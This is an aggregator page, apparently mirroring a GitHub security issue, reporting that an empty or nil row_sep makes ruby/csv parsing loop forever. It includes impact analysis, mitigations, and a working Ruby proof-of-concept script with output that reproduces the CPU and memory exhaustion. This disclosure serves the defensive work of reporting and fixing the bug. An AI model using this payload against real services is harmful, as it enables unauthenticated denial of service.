Empty row separator makes CSV parsing loop forever on a single newline

Abierto
#394 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
3/5
Tiempo estimado
1-2 días
Aptitud para principiantes
58/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
ruby
Área
backend, security

Línea de trabajo

Start in lib/csv/parser.rb at the row separator handling described in the issue, then trace how an empty or nil row_sep reaches the line iterator and row end matching. Check the parser tests for separator behavior and add coverage for newline input with both values. Done means parsing terminates safely with a defined result or raises ArgumentError; verify the affected public entry points described in the issue.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

About

Title: Empty row separator makes CSV parsing loop forever on a single newline
Repository: ruby/csv
Location: lib/csv/parser.rb:62
Severity: High
Impacted versions: 3.0.2, 3.0.9, 3.1.0, 3.1.5, 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8

Summary

The library supports an empty string as the row separator, row_sep: "", as a documented
way to say "the input has no record separator." Internally that empty value is handed to
Ruby's line splitter, where it means "paragraph mode," and the parser also builds an empty
regular expression for the end of a row. An empty pattern matches at the current position
without consuming anything, so the parser can never move past it. Once the input contains
one newline, the read loop treats each zero-width match as another empty row and repeats
forever. row_sep: nil is converted to the same empty string and behaves the same way.

A normal eight-byte CSV document containing a single \n is enough. The first row is
produced (["a","b\n1","2\n"]), and then the parser emits empty rows indefinitely at
roughly 250,000 per second. The library validates col_sep and quote_char for
emptiness, but does not validate row_sep, so this state is reachable through a normal
supported option.

Impact

An application that parses untrusted CSV with this option can be taken out of service with
a one-line payload. With a block (CSV.foreach, CSV.read, CSV.parse { ... }) the call
never returns and the worker thread stays at 100% CPU forever. Without a block, the parser
appends rows to an array until the process exhausts memory; in testing, an eight-byte
input hit a 192 MB address-space limit almost immediately. A handful of requests consumes
every worker, so this is a remote, unauthenticated denial of service.

No malformed quoting or large upload is needed; a single \n or \r is sufficient, while
empty input and input without a newline return normally. The same hang occurs through
every public entry point tested: CSV.parse, CSV.read, and CSV.foreach, with either
an empty string or nil as the separator.

Mitigations

Applications can reject/normalise an empty or nil row_sep before calling CSV (the
library validates col_sep and quote_char for emptiness but not row_sep). A fix in
the library is to reject an empty row_sep with ArgumentError, or to treat it as "no
separator" (single row) instead of paragraph mode, and to make the parser notice when a
row-end match consumes zero bytes. Per-request CPU/memory limits, timeouts and a process
supervisor that restarts wedged workers only limit the damage.

Examples
example 1

A web application accepts CSV uploads and uses row_sep: "" because it expects each
request to contain a single record. An attacker uploads a file containing just \n. The
request handler calls CSV.foreach(path, row_sep: "") { ... }; the worker thread never
returns, the client's request hangs, and repeating the request exhausts the application's
worker pool.

example 2

A batch job ingests partner files with CSV.read(path, row_sep: nil). A file containing a
single CRLF causes the job to allocate rows until the process is killed for running out of
memory, taking down the scheduler along with it.

example 3

A multi-tenant service parses user-supplied CSV in a background queue. One tenant submits
a,b\n1,2\n; the queue worker is pinned forever, and all tenants' jobs behind it are
delayed.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b666-7291-a143-4aaf68851b5c
#
#   CSV's documented `row_sep: ""` option puts the parser's line iterator into
#   Ruby's "paragraph mode" (String#each_line("")), while @row_end becomes the
#   empty regexp /(?:)/ that matches without consuming anything.  The result is
#   that the parser re-emits empty rows forever from an input that contains a
#   single newline: CSV.parse / CSV.foreach / CSV.read never return, and the
#   process burns 100% CPU and (without a block) grows an Array without bound.
#
# Usage:
#   ruby csv_row_sep_empty_dos.rb                # 3 second in-process watchdog
#   ruby csv_row_sep_empty_dos.rb --seconds 5
#   ruby csv_row_sep_empty_dos.rb --memory       # unbounded-memory variant
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"
require "timeout"

SECONDS = (ARGV.index("--seconds") ? ARGV[ARGV.index("--seconds") + 1].to_f : 3.0)

# An 8-byte, perfectly well-formed CSV document.  Nothing exotic: one header
# row and one data row.
INPUT = "a,b\n1,2\n"

def memory_mode
  # No block => CSV.parse accumulates every emitted row in an Array.  Run the
  # unbounded allocation in a child with a hard address-space limit so that the
  # proof is memory exhaustion, not an OOM-killed shell.
  limit_mb = 192
  pid = fork do
    Process.setrlimit(Process::RLIMIT_AS, limit_mb * 1024 * 1024)
    begin
      rows = CSV.parse(INPUT, row_sep: "") # never returns
      $stderr.puts "returned with #{rows.size} rows (unexpected)"
      exit 1
    rescue NoMemoryError
      $stderr.puts "[child] NoMemoryError after exhausting #{limit_mb} MB"
      exit 0
    end
  end
  _, status = Process.waitpid2(pid)
  if status.success?
    puts "RESULT: 8-byte input exhausted the child's #{limit_mb} MB address space"
    exit 0
  end
  puts "RESULT: child terminated while allocating rows (status #{status.inspect}):"
  puts "        address space of #{limit_mb} MB exhausted by an #{INPUT.bytesize}-byte input."
  exit 0
end

if ARGV.include?("--memory")
  memory_mode
end

puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "input      : #{INPUT.inspect} (#{INPUT.bytesize} bytes)"
puts "options    : row_sep: \"\"  (documented option; row_sep: nil behaves the same)"
puts "watchdog   : #{SECONDS}s"
puts

rows = 0
first_rows = []
returned = false
started = Process.clock_gettime(Process::CLOCK_MONOTONIC)

begin
  Timeout.timeout(SECONDS) do
    CSV.parse(INPUT, row_sep: "") do |row|
      first_rows << row if first_rows.size < 3
      rows += 1
    end
    returned = true
  end
rescue Timeout::Error
  returned = false
end

elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - started
rate = rows / elapsed

puts "first rows emitted : #{first_rows.inspect}"
puts "rows emitted       : #{rows} in #{elapsed.round(2)}s (#{rate.round} rows/second)"
puts "CSV.parse returned : #{returned}"

if returned
  puts
  puts "RESULT: parser returned -- bug not reproduced"
  exit 1
end

puts
puts "RESULT: parser never returned.  #{SECONDS.round}s of CPU for an #{INPUT.bytesize}-byte"
puts "        document, #{rate.round} rows/second and no end in sight; a single"
puts "        request pins a worker core forever, and the same loop without a"
puts "        block (CSV.read/CSV.parse) grows an Array without bound."
exit 0
stdout
$ ruby csv_row_sep_empty_dos.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
input      : "a,b\n1,2\n" (8 bytes)
options    : row_sep: ""  (documented option; row_sep: nil behaves the same)
watchdog   : 3.0s

first rows emitted : [["a", "b\n1", "2\n"], [], []]
rows emitted       : 798138 in 3.11s (256913 rows/second)
CSV.parse returned : false

RESULT: parser never returned.  3s of CPU for an 8-byte
        document, 256913 rows/second and no end in sight; a single
        request pins a worker core forever, and the same loop without a
        block (CSV.read/CSV.parse) grows an Array without bound.

$ ruby csv_row_sep_empty_dos.rb --memory
RESULT: child terminated while allocating rows (status #<Process::Status: pid 95285 exit 1>):
        address space of 192 MB exhausted by an 8-byte input.
[FATAL] failed to allocate memory
Lenguaje dominante
Ruby
Estrellas
221
Forks
142
Merge medio
1 d 40 min
PR fusionados (30 d)
2

Preparar el entorno

Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de ruby/csv

Todos los issues de ruby/csv

Issues similares

Más issues de Ruby

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.